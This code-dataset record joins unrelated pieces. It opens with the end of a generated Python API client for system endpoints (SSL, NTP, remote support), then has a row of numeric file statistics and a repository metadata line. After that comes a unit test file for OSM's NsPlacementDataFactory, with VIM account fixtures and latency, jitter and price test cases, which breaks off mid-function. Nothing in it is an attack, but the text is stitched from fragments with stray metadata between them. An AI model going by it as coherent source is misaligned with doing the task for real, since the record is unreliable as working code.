header_params = {}
form_params = []
local_var_files = {}
body_params = {}
# HTTP header `Accept`
header_params["Accept"] = api_client.select_header_accept(
["application/json"]
) # noqa: E501
# Authentication setting
auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501
return api_client.call_api(
"/system/jobs/{uuid}",
"GET",
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type="object", # noqa: E501
auth_settings=auth_settings,
async_req=local_var_params.get("async_req"),
_return_http_data_only=local_var_params.get(
"_return_http_data_only"
), # noqa: E501
_preload_content=local_var_params.get("_preload_content", True),
_request_timeout=local_var_params.get("_request_timeout"),
collection_formats=collection_formats,
)
class SystemApiRouter(VersionRouter):
"""System configuration such as SSL, NTP hosts and remote support"""
function_library = {
"get_remote_support_details": {"2.1.1-2.5.4": get_remote_support_details},
"put_remote_support": {"2.1.1-2.5.4": put_remote_support},
"get_remote_support_keypair_details": {
"2.1.1-2.5.4": get_remote_support_keypair_details
},
"post_generate_remote_support_keypair": {
"2.1.1-2.5.4": post_generate_remote_support_keypair
},
"delete_remote_support_keypair": {"2.1.1-2.5.4": delete_remote_support_keypair},
"get_system_status": {"2.1.1-2.5.4": get_system_status},
"get_credential_types": {"2.1.1-2.5.4": get_credential_types},
"get_credential_type_details": {"2.1.1-2.5.4": get_credential_type_details},
"get_system_ntp_hosts": {"2.1.1-2.5.4": get_system_ntp_hosts},
"post_add_ntp_host": {"2.1.1-2.5.4": post_add_ntp_host},
"delete_ntp_host": {"2.1.1-2.5.4": delete_ntp_host},
"delete_ssl_install": {"2.1.1-2.5.4": delete_ssl_install},
"get_ssl_install_status": {"2.1.1-2.5.4": get_ssl_install_status},
"put_upload_ssl_certs": {"2.1.1-2.5.4": put_upload_ssl_certs},
"put_install_ssl_certs": {"2.1.1-2.5.4": put_install_ssl_certs},
"get_job_status": {"2.1.1-2.5.4": get_job_status},
}
| 33.786477 | 135 | 0.636639 | 4,424 | 37,976 | 5.169304 | 0.046338 | 0.041978 | 0.053872 | 0.050549 | 0.926582 | 0.911715 | 0.907998 | 0.903406 | 0.894267 | 0.877432 | 0 | 0.017028 | 0.277833 | 37,976 | 1,123 | 136 | 33.816563 | 0.816846 | 0.43143 | 0 | 0.835069 | 0 | 0 | 0.142682 | 0.038726 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027778 | false | 0.003472 | 0.005208 | 0 | 0.064236 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
73cbac45614dde4257332a1ed9fbbf3853ccfac3 | 49,530 | py | Python | osm_pla/test/test_nsPlacementDataFactory.py | TCSOSM-20/PLA | de4f7820a050a7ed18aa93a298c5a59e379e752b | [
"Apache-2.0"
] | null | null | null | osm_pla/test/test_nsPlacementDataFactory.py | TCSOSM-20/PLA | de4f7820a050a7ed18aa93a298c5a59e379e752b | [
"Apache-2.0"
] | null | null | null | osm_pla/test/test_nsPlacementDataFactory.py | TCSOSM-20/PLA | de4f7820a050a7ed18aa93a298c5a59e379e752b | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 ArctosLabs Scandinavia AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import unittest
from collections import Counter
from pathlib import Path
from unittest import TestCase, mock
from unittest.mock import call
import yaml
from osm_pla.placement.mznplacement import NsPlacementDataFactory
class TestNsPlacementDataFactory(TestCase):
vim_accounts = [{"vim_password": "FxtnynxBCnouzAT4Hkerhg==", "config": {},
"_admin": {"modified": 1564579854.0480285, "created": 1564579854.0480285,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "6beb4e2e-b397-11e9-a7a3-02420aff0008",
"RO": "6bcfc3fc-b397-11e9-a7a3-02420aff0008"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"], "detailed-status": "Done"},
"name": "OpenStack1", "vim_type": "openstack", "_id": "92b056a7-38f5-438d-b8ee-3f93b3531f87",
"schema_version": "1.1", "vim_user": "admin", "vim_url": "http://10.234.12.47:5000/v3",
"vim_tenant_name": "admin"},
{"config": {}, "vim_tenant_name": "osm_demo", "schema_version": "1.1", "name": "OpenStack2",
"vim_password": "gK5v4Gh2Pl41o6Skwp6RCw==", "vim_type": "openstack",
"_admin": {"modified": 1567148372.2490237, "created": 1567148372.2490237,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "b7fb0034-caf3-11e9-9388-02420aff000a",
"RO": "b7f129ce-caf3-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"], "detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.44:5000/v3",
"_id": "6618d412-d7fc-4eb0-a6f8-d2c258e0e900"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack3",
"vim_password": "1R2FoMQnaL6rNSosoRP2hw==", "vim_type": "openstack", "vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599746.689582, "created": 1567599746.689582,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "a8161f54-cf0e-11e9-9388-02420aff000a",
"RO": "a80b6280-cf0e-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"], "detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.46:5000/v3",
"_id": "331ffdec-44a8-4707-94a1-af7a292d9735"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack4",
"vim_password": "6LScyPeMq3QFh3GRb/xwZw==", "vim_type": "openstack", "vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599911.5108898, "created": 1567599911.5108898,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "0a651200-cf0f-11e9-9388-02420aff000a",
"RO": "0a4defc6-cf0f-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"], "detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.43:5000/v3",
"_id": "eda92f47-29b9-4007-9709-c1833dbfbe31"}]
vim_accounts_fewer_vims = [{"vim_password": "FxtnynxBCnouzAT4Hkerhg==", "config": {},
"_admin": {"modified": 1564579854.0480285, "created": 1564579854.0480285,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "6beb4e2e-b397-11e9-a7a3-02420aff0008",
"RO": "6bcfc3fc-b397-11e9-a7a3-02420aff0008"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"name": "OpenStack1", "vim_type": "openstack",
"_id": "92b056a7-38f5-438d-b8ee-3f93b3531f87",
"schema_version": "1.1", "vim_user": "admin", "vim_url": "http://10.234.12.47:5000/v3",
"vim_tenant_name": "admin"},
{"config": {}, "vim_tenant_name": "osm_demo", "schema_version": "1.1",
"name": "OpenStack2",
"vim_password": "gK5v4Gh2Pl41o6Skwp6RCw==", "vim_type": "openstack",
"_admin": {"modified": 1567148372.2490237, "created": 1567148372.2490237,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "b7fb0034-caf3-11e9-9388-02420aff000a",
"RO": "b7f129ce-caf3-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.44:5000/v3",
"_id": "6618d412-d7fc-4eb0-a6f8-d2c258e0e900"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack4",
"vim_password": "6LScyPeMq3QFh3GRb/xwZw==", "vim_type": "openstack",
"vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599911.5108898, "created": 1567599911.5108898,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "0a651200-cf0f-11e9-9388-02420aff000a",
"RO": "0a4defc6-cf0f-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.43:5000/v3",
"_id": "eda92f47-29b9-4007-9709-c1833dbfbe31"}]
vim_accounts_more_vims = [{"vim_password": "FxtnynxBCnouzAT4Hkerhg==", "config": {},
"_admin": {"modified": 1564579854.0480285, "created": 1564579854.0480285,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "6beb4e2e-b397-11e9-a7a3-02420aff0008",
"RO": "6bcfc3fc-b397-11e9-a7a3-02420aff0008"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"name": "OpenStack1", "vim_type": "openstack",
"_id": "92b056a7-38f5-438d-b8ee-3f93b3531f87",
"schema_version": "1.1", "vim_user": "admin", "vim_url": "http://10.234.12.47:5000/v3",
"vim_tenant_name": "admin"},
{"config": {}, "vim_tenant_name": "osm_demo", "schema_version": "1.1",
"name": "OpenStack2",
"vim_password": "gK5v4Gh2Pl41o6Skwp6RCw==", "vim_type": "openstack",
"_admin": {"modified": 1567148372.2490237, "created": 1567148372.2490237,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "b7fb0034-caf3-11e9-9388-02420aff000a",
"RO": "b7f129ce-caf3-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.44:5000/v3",
"_id": "6618d412-d7fc-4eb0-a6f8-d2c258e0e900"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack4",
"vim_password": "6LScyPeMq3QFh3GRb/xwZw==", "vim_type": "openstack",
"vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599911.5108898, "created": 1567599911.5108898,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "0a651200-cf0f-11e9-9388-02420aff000a",
"RO": "0a4defc6-cf0f-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.43:5000/v3",
"_id": "eda92f47-29b9-4007-9709-c1833dbfbe31"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack3",
"vim_password": "6LScyPeMq3QFh3GRb/xwZw==", "vim_type": "openstack",
"vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599911.5108898, "created": 1567599911.5108898,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "0a651200-cf0f-11e9-9388-02420aff000a",
"RO": "0a4defc6-cf0f-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://10.234.12.46:5000/v3",
"_id": "eda92f47-29b9-4007-9709-c1833dbfbe31"},
{"config": {}, "schema_version": "1.1", "name": "OpenStack5",
"vim_password": "6LScyPeMq3QFh3GRb/xwZw==", "vim_type": "openstack",
"vim_tenant_name": "osm_demo",
"_admin": {"modified": 1567599911.5108898, "created": 1567599911.5108898,
"operationalState": "ENABLED",
"projects_read": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"deployed": {"RO-account": "0a651200-cf0f-11e9-9388-02420aff000a",
"RO": "0a4defc6-cf0f-11e9-9388-02420aff000a"},
"projects_write": ["69915588-e5e2-46d3-96b0-a29bedef6f73"],
"detailed-status": "Done"},
"vim_user": "admin", "vim_url": "http://1.1.1.1:5000/v3",
"_id": "ffffffff-29b9-4007-9709-c1833dbfbe31"}]
def _produce_ut_vim_accounts_info(self, vim_accounts):
"""
FIXME temporary, we will need more control over vim_urls and _id for test purpose - make a generator
:return: vim_url and _id as dict, i.e. extract these from vim_accounts data
"""
return {_['name']: _['_id'] for _ in vim_accounts}
def _adjust_path(self, file):
"""In case we are not running from test directory,
then assume we are in top level directory (e.g. running from tox) and adjust file path accordingly"""
path_component = '/osm_pla/test/'
real_path = os.path.realpath(file)
if path_component not in real_path:
return os.path.dirname(real_path) + path_component + os.path.basename(real_path)
else:
return real_path
def _populate_pil_info(self, file):
"""
Note str(Path()) is a 3.5 thing
"""
with open(str(Path(self._adjust_path(file)))) as pp_fd:
test_data = yaml.safe_load_all(pp_fd)
return next(test_data)
def _get_ut_nsd_from_file(self, nsd_file_name):
"""
creates the structure representing the nsd.
IMPORTANT NOTE: If using .yaml files from the NS packages for the unit tests (which we do),
then the files must be modified with respect to the way booleans are processed at on-boarding in OSM.
The following construct in the NS package yaml file:
mgmt-network: 'false'
will become a boolean in the MongoDB, and therefore the yaml used in these unit test must use yaml
tag as follows:
mgmt-network: !!bool False
The modification also applies to 'true' => !!bool True
This will ensure that the object returned from this function is as expected by PLA.
"""
with open(str(Path(self._adjust_path(nsd_file_name)))) as nsd_fd:
test_data = yaml.safe_load_all(nsd_fd)
return next(test_data)
def _produce_ut_vnf_price_list(self):
price_list_file = "vnf_price_list.yaml"
with open(str(Path(self._adjust_path(price_list_file)))) as pl_fd:
price_list_data = yaml.safe_load_all(pl_fd)
return {i['vnfd']: {i1['vim_name']: i1['price'] for i1 in i['prices']} for i in next(price_list_data)}
def _produce_ut_vnf_test_price_list(self, price_list):
price_list_file = price_list
with open(str(Path(self._adjust_path(price_list_file)))) as pl_fd:
price_list_data = yaml.safe_load_all(pl_fd)
return {i['vnfd']: {i1['vim_name']: i1['price'] for i1 in i['prices']} for i in next(price_list_data)}
def test__produce_trp_link_characteristics_link_latency_with_more_vims(self):
"""
-test with more(other) vims compared to pil
"""
content_expected = [0, 0, 0, 0, 0, 120, 120, 130, 130, 140, 140, 230, 230, 240, 240,
340, 340, 32767, 32767, 32767, 32767, 32767, 32767, 32767, 32767]
nspdf = NsPlacementDataFactory(
self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts_more_vims),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'),
pinning=None)
pil_latencies = nspdf._produce_trp_link_characteristics_data('pil_latency')
content_produced = [i for row in pil_latencies for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_latency incorrect')
def test__produce_trp_link_characteristics_link_latency_with_fewer_vims(self):
"""
-test with fewer vims compared to pil
:return:
"""
content_expected = [0, 0, 0, 120, 120, 140, 140, 240, 240]
nspdf = NsPlacementDataFactory(
self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts_fewer_vims),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'),
pinning=None)
pil_latencies = nspdf._produce_trp_link_characteristics_data('pil_latency')
content_produced = [i for row in pil_latencies for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_latency incorrect')
def test__produce_trp_link_characteristic_not_supported(self):
"""
- test with non-supported characteristic
"""
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1.yaml'), pinning=None)
with self.assertRaises(Exception) as e:
nspdf._produce_trp_link_characteristics_data('test_no_support')
self.assertRegex(str(e.exception), r'characteristic.*not supported', "invalid exception content")
def test__produce_trp_link_characteristics_link_latency(self):
"""
-test with full set of vims as in pil
-test with fewer vims compared to pil
-test with more(other) vims compared to pil
-test with invalid/corrupt pil configuration file (e.g. missing endpoint), empty file, not yaml conformant
- test with non-supported characteristic
:return:
"""
content_expected = [0, 0, 0, 0, 120, 120, 130, 130, 140, 140, 230, 230, 240, 240, 340, 340]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_latencies = nspdf._produce_trp_link_characteristics_data('pil_latency')
content_produced = [i for row in pil_latencies for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_latency incorrect')
def test__produce_trp_link_characteristics_link_jitter(self):
"""
-test with full set of vims as in pil
"""
content_expected = [0, 0, 0, 0, 1200, 1200, 1300, 1300, 1400, 1400, 2300, 2300, 2400, 2400, 3400, 3400]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_jitter = nspdf._produce_trp_link_characteristics_data('pil_jitter')
content_produced = [i for row in pil_jitter for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_jitter incorrect')
def test__produce_trp_link_characteristics_link_jitter_with_fewer_vims(self):
"""
-test with fewer vims compared to pil, link jitter
"""
content_expected = [0, 0, 0, 1200, 1200, 1400, 1400, 2400, 2400]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(self.vim_accounts_fewer_vims),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_latencies = nspdf._produce_trp_link_characteristics_data('pil_jitter')
content_produced = [i for row in pil_latencies for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_jitter incorrect')
def test__produce_trp_link_characteristics_link_jitter_with_more_vims(self):
"""
-test with more vims compared to pil, link jitter
"""
content_expected = [0, 0, 0, 0, 0, 1200, 1200, 1300, 1300, 1400, 1400, 2300,
2300, 2400, 2400, 3400, 3400, 32767, 32767, 32767, 32767, 32767, 32767, 32767, 32767]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(self.vim_accounts_more_vims),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_latencies = nspdf._produce_trp_link_characteristics_data('pil_jitter')
content_produced = [i for row in pil_latencies for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'trp_link_jitter incorrect')
def test__produce_trp_link_characteristics_link_price(self):
"""
-test with full set of vims as in pil
"""
content_expected = [0, 0, 0, 0, 12, 12, 13, 13, 14, 14, 23, 23, 24, 24, 34, 34]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_prices = nspdf._produce_trp_link_characteristics_data('pil_price')
content_produced = [i for row in pil_prices for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'invalid trp link prices')
def test__produce_trp_link_characteristics_link_price_with_fewer_vims(self):
"""
-test with fewer vims compared to pil
"""
content_expected = [0, 0, 0, 12, 12, 14, 14, 24, 24]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(self.vim_accounts_fewer_vims),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest1_keys.yaml'), pinning=None)
pil_prices = nspdf._produce_trp_link_characteristics_data('pil_price')
content_produced = [i for row in pil_prices for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced), 'invalid trp link prices')
def test__produce_trp_link_characteristics_partly_constrained(self):
content_expected = [0, 0, 0, 0, 32767, 32767, 32767, 32767, 1200, 1200, 1400, 1400, 2400, 2400, 3400, 3400]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('pil_unittest2_keys.yaml'), pinning=None)
pil_jitter = nspdf._produce_trp_link_characteristics_data('pil_jitter')
content_produced = [i for row in pil_jitter for i in row]
self.assertEqual(Counter(content_expected), Counter(content_produced),
'invalid trp link jitter, partly constrained')
def test__produce_vld_desc_partly_constrained(self):
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'jitter': 30},
{'cp_refs': ['two', 'three'], 'latency': 120}]
nsd = self._get_ut_nsd_from_file('nsd_unittest2.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_trp_link_characteristics_link_latency_not_yaml_conformant(self):
"""
-test with invalid/corrupt pil configuration file (not yaml conformant)
"""
with self.assertRaises(Exception) as e:
_ = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('not_yaml_conformant.yaml'),
pinning=None)
self.assertRegex(str(e.exception), r'mapping values are not allowed here.*', "invalid exception content")
def test__produce_trp_link_characteristics_with_invalid_pil_config(self):
"""
-test with invalid/corrupt pil configuration file (missing endpoint)
"""
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=None,
pil_info=self._populate_pil_info('corrupt_pil_endpoints_config_unittest1.yaml'),
pinning=None)
with self.assertRaises(Exception) as e:
_ = nspdf._produce_trp_link_characteristics_data('pil_latency')
self.assertEqual('list index out of range', str(e.exception), "unexpected exception")
def test__produce_vld_desc_w_instantiate_override(self):
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'latency': 150, 'jitter': 30},
{'cp_refs': ['two', 'three'], 'latency': 90, 'jitter': 30}]
nsd = self._get_ut_nsd_from_file('nsd_unittest_no_vld_constraints.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertNotEqual(nspdf._produce_vld_desc(),
vld_desc_expected, "vld_desc incorrect")
def test__produce_vld_desc_nsd_w_instantiate_wo(self):
"""
nsd w/ constraints, instantiate w/o constraints
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'latency': 150, 'jitter': 30},
{'cp_refs': ['two', 'three'], 'latency': 90, 'jitter': 30}]
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_nsd_w_instantiate_w(self):
"""
nsd w/ constraints, instantiate w/ constraints => override
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'latency': 120, 'jitter': 21},
{'cp_refs': ['two', 'three'], 'latency': 121, 'jitter': 22}]
nsd = self._get_ut_nsd_from_file('nsd_unittest3.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints={
'vld-constraints': [{'id': 'three_vnf_constrained_nsd_vld1',
'link-constraints': {'latency': 120,
'jitter': 21}},
{'id': 'three_vnf_constrained_nsd_vld2',
'link-constraints': {'latency': 121,
'jitter': 22}}]})
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_nsd_wo_instantiate_wo(self):
"""
nsd w/o constraints, instantiate w/o constraints = no constraints in model
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two']},
{'cp_refs': ['two', 'three']}]
nsd = self._get_ut_nsd_from_file('nsd_unittest_no_vld_constraints.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_nsd_wo_instantiate_w(self):
"""
nsd w/o constraints, instantiate w/ constraints => add constraints
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'latency': 140, 'jitter': 41},
{'cp_refs': ['two', 'three'], 'latency': 141, 'jitter': 42}]
nsd = self._get_ut_nsd_from_file('nsd_unittest_no_vld_constraints.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints={
'vld-constraints': [{'id': 'three_vnf_constrained_nsd_vld1',
'link-constraints': {'latency': 140,
'jitter': 41}},
{'id': 'three_vnf_constrained_nsd_vld2',
'link-constraints': {'latency': 141,
'jitter': 42}}]})
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_nsd_wo_instantiate_w_faulty_input(self):
"""
nsd w/o constraints, instantiate w/ constraints => add constraints that can be parsed
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two']},
{'cp_refs': ['two', 'three'], 'latency': 151}]
nsd = self._get_ut_nsd_from_file('nsd_unittest_no_vld_constraints.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints={'vld-constraints': [{'id': 'not_included_vld',
'misspelled-constraints':
{'latency': 120,
'jitter': 20}},
{'id': 'three_vnf_constrained_nsd_vld2',
'link-constraints': {
'latency': 151}}]})
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_nsd_wo_instantiate_w_faulty_input_again(self):
"""
nsd w/o constraints, instantiate w/ faulty constraints => add constraints that can be parsed
:return:
"""
vld_desc_expected = [{'cp_refs': ['one', 'two'], 'jitter': 21},
{'cp_refs': ['two', 'three']}]
nsd = self._get_ut_nsd_from_file('nsd_unittest_no_vld_constraints.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints={
'vld-constraints': [{'id': 'three_vnf_constrained_nsd_vld1',
'link-constraints': {'delay': 120,
'jitter': 21}},
{'id': 'three_vnf_constrained_nsd_vld2',
'misspelled-constraints': {'latency': 121,
'jitter': 22}}]})
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(),
"vld_desc incorrect")
def test__produce_vld_desc_mgmt_network(self):
vld_desc_expected = [{'cp_refs': ['1', '2'], 'latency': 120, 'jitter': 20},
{'cp_refs': ['2', '4'], 'latency': 50, 'jitter': 10},
{'cp_refs': ['2', '3'], 'latency': 20, 'jitter': 10}, ]
nsd = self._get_ut_nsd_from_file('test_five_nsd.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(), "vld_desc incorrect")
def test__produce_vld_desc_single_vnf_nsd(self):
vld_desc_expected = []
nsd = self._get_ut_nsd_from_file('nsd_unittest4.yaml')
nsd = nsd['nsd:nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
self._produce_ut_vnf_price_list(),
nsd=nsd,
pil_info=None, pinning=None,
order_constraints=None)
self.assertEqual(vld_desc_expected, nspdf._produce_vld_desc(), "vld_desc_incorrect")
def test__produce_vld_desc_slice_nsd(self):
vld_desc_expected = []
nsd = self._get_ut_nsd_from_file('slice_hackfest_middle_nsd.yaml')
nsd = nsd['nsd-catalog']['nsd'][0]
nspdf = NsPlacementDataFactory(self._produce_ut_vim_accounts_info(TestNsPlacementDataFactory.vim_accounts),
